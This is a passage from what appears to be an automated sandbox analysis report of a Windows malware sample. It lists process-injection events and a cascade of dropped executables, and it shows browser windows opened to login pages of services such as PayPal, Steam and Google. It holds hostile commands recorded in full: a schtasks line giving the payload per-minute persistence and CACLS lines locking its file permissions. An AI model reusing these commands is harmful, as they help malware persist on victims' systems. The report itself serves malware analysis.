N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Broom.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1284 wrote to memory of 3208 N/A C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe
PID 1284 wrote to memory of 3208 N/A C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe
PID 1284 wrote to memory of 3208 N/A C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe
PID 3208 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe
PID 3208 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe
PID 3208 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe
PID 2880 wrote to memory of 3328 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe
PID 2880 wrote to memory of 3328 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe
PID 2880 wrote to memory of 4216 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe
PID 2880 wrote to memory of 4216 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe
PID 2880 wrote to memory of 4216 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe
PID 4216 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
PID 4216 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
PID 4216 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
PID 3208 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe
PID 3208 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe
PID 3208 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe
PID 1492 wrote to memory of 2704 N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe C:\Windows\SysWOW64\schtasks.exe
PID 1492 wrote to memory of 2704 N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe C:\Windows\SysWOW64\schtasks.exe
PID 1492 wrote to memory of 2704 N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe C:\Windows\SysWOW64\schtasks.exe
PID 1492 wrote to memory of 3244 N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe C:\Windows\SysWOW64\cmd.exe
PID 1492 wrote to memory of 3244 N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe C:\Windows\SysWOW64\cmd.exe
PID 1492 wrote to memory of 3244 N/A C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe C:\Windows\SysWOW64\cmd.exe
PID 3244 wrote to memory of 3556 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3244 wrote to memory of 3556 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3244 wrote to memory of 3556 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3244 wrote to memory of 1164 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3244 wrote to memory of 1164 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3244 wrote to memory of 1164 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3244 wrote to memory of 3444 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3244 wrote to memory of 3444 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3244 wrote to memory of 3444 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3244 wrote to memory of 3600 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3244 wrote to memory of 3600 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3244 wrote to memory of 3600 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3244 wrote to memory of 1520 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3244 wrote to memory of 1520 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3244 wrote to memory of 1520 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3244 wrote to memory of 3128 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3244 wrote to memory of 3128 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3244 wrote to memory of 3128 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 1284 wrote to memory of 4468 N/A C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\d8698530.exe
PID 1284 wrote to memory of 4468 N/A C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\d8698530.exe
PID 1284 wrote to memory of 4468 N/A C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\d8698530.exe
PID 3112 wrote to memory of 3956 N/A N/A C:\Users\Admin\AppData\Local\Temp\3F75.exe
PID 3112 wrote to memory of 3956 N/A N/A C:\Users\Admin\AppData\Local\Temp\3F75.exe
PID 3112 wrote to memory of 3956 N/A N/A C:\Users\Admin\AppData\Local\Temp\3F75.exe
PID 3956 wrote to memory of 3888 N/A C:\Users\Admin\AppData\Local\Temp\3F75.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\En1HV4Ys.exe
PID 3956 wrote to memory of 3888 N/A C:\Users\Admin\AppData\Local\Temp\3F75.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\En1HV4Ys.exe
PID 3956 wrote to memory of 3888 N/A C:\Users\Admin\AppData\Local\Temp\3F75.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\En1HV4Ys.exe
PID 3112 wrote to memory of 4708 N/A N/A C:\Windows\system32\cmd.exe
PID 3112 wrote to memory of 4708 N/A N/A C:\Windows\system32\cmd.exe
PID 3888 wrote to memory of 3168 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\En1HV4Ys.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\uL6Fa5TM.exe
PID 3888 wrote to memory of 3168 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\En1HV4Ys.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\uL6Fa5TM.exe
PID 3888 wrote to memory of 3168 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\En1HV4Ys.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\uL6Fa5TM.exe
PID 3168 wrote to memory of 1612 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\uL6Fa5TM.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sd7uw5fi.exe
PID 3168 wrote to memory of 1612 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\uL6Fa5TM.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sd7uw5fi.exe
PID 3168 wrote to memory of 1612 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\uL6Fa5TM.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sd7uw5fi.exe
PID 3112 wrote to memory of 1676 N/A N/A C:\Users\Admin\AppData\Local\Temp\43CC.exe
PID 3112 wrote to memory of 1676 N/A N/A C:\Users\Admin\AppData\Local\Temp\43CC.exe
PID 3112 wrote to memory of 1676 N/A N/A C:\Users\Admin\AppData\Local\Temp\43CC.exe
PID 1612 wrote to memory of 3144 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sd7uw5fi.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Hq3gO0Jh.exe
PID 1612 wrote to memory of 3144 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sd7uw5fi.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Hq3gO0Jh.exe
PID 1612 wrote to memory of 3144 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sd7uw5fi.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Hq3gO0Jh.exe

Processes

C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe

"C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe

C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe

"C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe"

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN pdates.exe /TR "C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe" /F

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "pdates.exe" /P "Admin:N"&&CACLS "pdates.exe" /P "Admin:R" /E&&echo Y|CACLS "..\925e7e99c5" /P "Admin:N"&&CACLS "..\925e7e99c5" /P "Admin:R" /E&&Exit

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "pdates.exe" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "pdates.exe" /P "Admin:R" /E

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo Y"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\925e7e99c5" /P "Admin:N"

C:\Windows\SysWOW64\cacls.exe

CACLS "..\925e7e99c5" /P "Admin:R" /E

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\d8698530.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\d8698530.exe

C:\Users\Admin\AppData\Local\Temp\3F75.exe

C:\Users\Admin\AppData\Local\Temp\3F75.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\En1HV4Ys.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\En1HV4Ys.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4283.bat" "

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\uL6Fa5TM.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\uL6Fa5TM.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sd7uw5fi.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sd7uw5fi.exe

C:\Users\Admin\AppData\Local\Temp\43CC.exe

C:\Users\Admin\AppData\Local\Temp\43CC.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Hq3gO0Jh.exe

C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Hq3gO0Jh.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login

C:\Users\Admin\AppData\Local\Temp\467D.exe

C:\Users\Admin\AppData\Local\Temp\467D.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1vI31WE5.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1vI31WE5.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2Ni780Ph.exe

C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2Ni780Ph.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4216 -ip 4216

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 540

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2528 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2580 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3160 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3152 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3968 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x108,0x10c,0x110,0xd8,0x114,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5184 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5408 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5572 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5848 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6072 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5860 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6376 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\7137.exe

C:\Users\Admin\AppData\Local\Temp\7137.exe

C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe

